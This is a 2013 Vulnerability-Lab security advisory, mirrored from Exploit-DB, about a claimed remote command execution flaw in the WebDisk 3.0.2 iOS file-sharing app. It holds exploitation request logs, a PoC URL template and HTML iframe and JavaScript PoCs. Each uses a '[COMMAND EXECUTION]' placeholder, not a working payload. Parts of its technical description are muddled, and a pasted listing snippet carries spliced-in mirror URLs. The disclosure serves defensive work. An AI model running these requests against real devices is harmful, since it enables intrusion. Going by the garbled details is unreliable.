WebDisk 3.0.2 PhotoViewer iOS – Command Execution

  • 作者: Vulnerability-Lab
    日期: 2013-07-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27189/
  • Title:
    ======
    WebDisk 3.0.2 PhotoViewer iOS - Command Execution Vulnerability
    
    
    Date:
    =====
    2013-07-27
    
    
    References:
    ===========
    http://www.vulnerability-lab.com/get_content.php?id=1035
    
    
    VL-ID:
    =====
    1035
    
    
    Common Vulnerability Scoring System:
    ====================================
    8.8
    
    
    Introduction:
    =============
    WebDisk lets your iphone/ipad become a file website over wi-fi netwrk.You can upload/download your document 
    to your iphone/ipad on your pc browser over wi-fi and it is also a document viewer. Lets you direct view 
    your document on your iphone/iphone.
    
    ( Copy of the Homepage: https://itunes.apple.com/us/app/webdisk/id546221210 ) 
    
    
    Abstract:
    =========
    The Vulnerability Laboratory Research Team discovered a remote code execution vulnerability in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone).
    
    
    Report-Timeline:
    ================
    2013-07-27:Public Disclosure (Vulnerability Laboratory)
    
    
    Status:
    ========
    Published
    
    
    Affected Products:
    ==================
    Apple AppStore
    Product: WebDisk PhotoViewer - Application 3.0.2
    
    
    Exploitation-Technique:
    =======================
    Remote
    
    
    Severity:
    =========
    Critical
    
    
    Details:
    ========
    A remote command execution web vulnerability is detected in the WebDisk v3.0.2 application (Apple iOS - iPad & iPhone).
    The vulnerability allows remote attacker to execute code inside of a vulnerable web application module to compromise the device.
    
    The vulnerability is located in the afgetdir.ma file when processing to request manipulated path parameters. Remote attackers can 
    execute code from the main application index by using the upload input field. The code inside of the file upload field does not 
    require to choose a file for an upload but executes the context directly via GET variable. The result is a web application code 
    execution from the main index module. The code will be executed from the listing location under the upload input field of the 
    webdisk wifi application.
    
    Exploitation of the vulnerability does not require user interaction or a privilege application user account.
    Successful exploitation results webdisk web-application or apple device compromise via remote code execution.
    
    Vulnerable Module(s):
    				[+] Upload - Input Field
    
    Vulnerable File(s):
    				[+] afgetdir.ma
    
    Vulnerable Parameter(s): 
    				[+] p (path)
    
    Affected Module(s):
    				[+] Index File Dir Listing
    
    
    Proof of Concept:
    =================
    The remote command execution vulnerability can be exploited by remote attackers without privilege application user account or 
    user interaction. For demonstration or reproduce ...
    
    
    --- Exploitation Request Session Logs ---
    
    Status: 200[OK]
    
    GET http://192.168.2.104:1861/aadd.htm 
    Load Flags[LOAD_BACKGROUND] Content Size[641] Mime Type[application/x-unknown-content-type]
     
    
    Request Headers:
    Host[192.168.2.104:1861]
    
    User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
    
    Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
    Accept-Language[en-US,en;q=0.5]
    Accept-Encoding[gzip, deflate]
    DNT[1]
    
    
    Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
    Connection[keep-alive]
     
    
    Response Headers:
    Content-Length[641]
    Server[MHttpServer/1.0.0]
    
    
    Status: 200[OK]
    GET http://192.168.2.104:1861/[CODE EXECUTION]+PATH 
    Load Flags[LOAD_DOCUMENT_URI] 
    Content Size[0] 
    Mime Type[application/x-unknown-content-type]
     
    
    Request Headers:
    Host[192.168.2.104:1861]
    
    User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
    Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
    Accept-Language[en-US,en;q=0.5]
    Accept-Encoding[gzip, deflate]
    DNT[1]
    
    
    Referer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C]
    Connection[keep-alive]
     
    
    Response Headers: 
    Content-Length[0]
    Server[MHttpServer/1.0.0]
    
    
    URL=http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications
    %5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[CODE EXECUTION]
    Status: 200[OK]
    
    GET http://192.168.2.104:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CW%5C[CODE EXECUTION] 
    Load Flags[LOAD_NORMAL] Content Size[20217] Mime Type[application/x-unknown-content-type]
     
    
    Request Headers:
    
    Host[192.168.2.104:1861]
    User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
    Accept[image/png,image/*;q=0.8,*/*;q=0.5]
    Accept-Language[en-US,en;q=0.5]
    Accept-Encoding[gzip, deflate]
    DNT[1]
    
    Referer
    [http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C] 
    Connection[keep-alive]
     
    
    Response Headers:
    Content-Length[20217]
    Server[MHttpServer/1.0.0]
    
    --- Exploitation Request Session Logs ---
    
    
    
    Reference(s): mHTTP Web-Server
    
    http://localhost:1861/
    http://localhost:1861/mjs.js
    http://localhost:1861/aadd.htm
    http://localhost:1861/afgetthum.ma
    
    
    
    
    PoC Example:
    [HOST]:[PORT]/[FILE].[MA]?[PARAM Q]=%5C[PATH VAR]/[DIRECTION]%5C[ID]%5C[DOCUMNETS PATH]%5C[LIBRARY FOLDER]%5C[LOCAL PATH WDisk]%5C[COMMAND EXECUTION]
    
    PoC Link:
    http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION]
    
    
    PoC: Exploit 1 - HTML
    
    <html>
    <head><body><title>WebDisk v3.0.2 - Command Execution Vulnerability - Remote PoC</title>
    <iframe src=http://localhost:1861/afgetthum.ma?p=%5Cvar%5Cmobile%5CApplications%5C8D137E49-3793-4C45-9A50-B8AF3AE7EA
    56%5CDocuments%5CLibrary%5CWD%5C[COMMAND EXECUTION] width=800 height=800>
    </body></head>
    <html>
    
    PoC: Exploit 2 - JS
    
    <script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3EWebDisk%20v3.0.2%20-%20Command%20Execution%20Vulnerability%20
    -%20Remote%20PoC%3C/title%3E%0A%3Ciframe%20src%3Dhttp%3A//localhost%3A1861/afgetthum.ma%3Fp%3D%255Cvar%255Cmobile%255CApplications
    %255C8D137E49-3793-4C45-9A50-B8AF3AE7EA%0A56%255CDocuments%255CLibrary%255CWD%255C%5BCOMMAND%20EXECUTION%5D%20width%3D800%20height%3D800
    %3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>
    
    
    
    Review Source: tdmid
    
    
    <td colspan="3" height="1"><hr class="spline"></td>
    </tr>
    	
    <tr>
    <td class="tdleft"><a href="https://www.exploit-db.com/exploits/27189/"><img class="imgthum" src="https://www.exploit-db.com/exploits/27189/afico/files_txt.png"></a></td>
    <td class="tdmid">>"[CODE EXECUTION VULNERABILITY!]</td>
    <td class="tdright">7-26 19:51<br/><br/><a href="https://www.exploit-db.com/exploits/27189/afdelete.ma?p=%5Cvar%5Cmobile%5CApplications
    %5C8D137E49-3793-4C45-9A50-B8AF3AE7EA56%5CDocuments%5CLibrary%5CWD%5C%7C-%7C430429876.txt">delete</a></td>
    </tr>
    <tr>
    <td colspan="3"height="1"><hr class="spline" /></td>
    </tr>
    
    
    
    Solution:
    =========
    To fix the command execution parse the p variable and encode the input on direct GET requests.
    Parse and encode the output listing of the file input in the main file dir index module.
    
    
    Risk:
    =====
    The security risk of the remote command execution web application vulnerability is estimated as critical.
    
    
    Credits:
    ========
    Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
    
    
    Disclaimer:
    ===========
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
    either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
    Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
    profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
    states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
    may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
    or trade with fraud/stolen material.
    
    Domains:www.vulnerability-lab.com 	- www.vuln-lab.com			 - www.evolution-sec.com
    Contact:admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	 - admin@evolution-sec.com
    Section:www.vulnerability-lab.com/dev 	- forum.vulnerability-db.com 		 - magazine.vulnerability-db.com
    Social:	twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	 - youtube.com/user/vulnerability0lab
    Feeds:	vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
    
    Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
    Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
    media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and 
    other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
    modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
    
    				Copyright � 2013 | Vulnerability Laboratory [Evolution Security]
    
    -- 
    VULNERABILITY LABORATORY RESEARCH TEAM
    DOMAIN: www.vulnerability-lab.com
    CONTACT: research@vulnerability-lab.com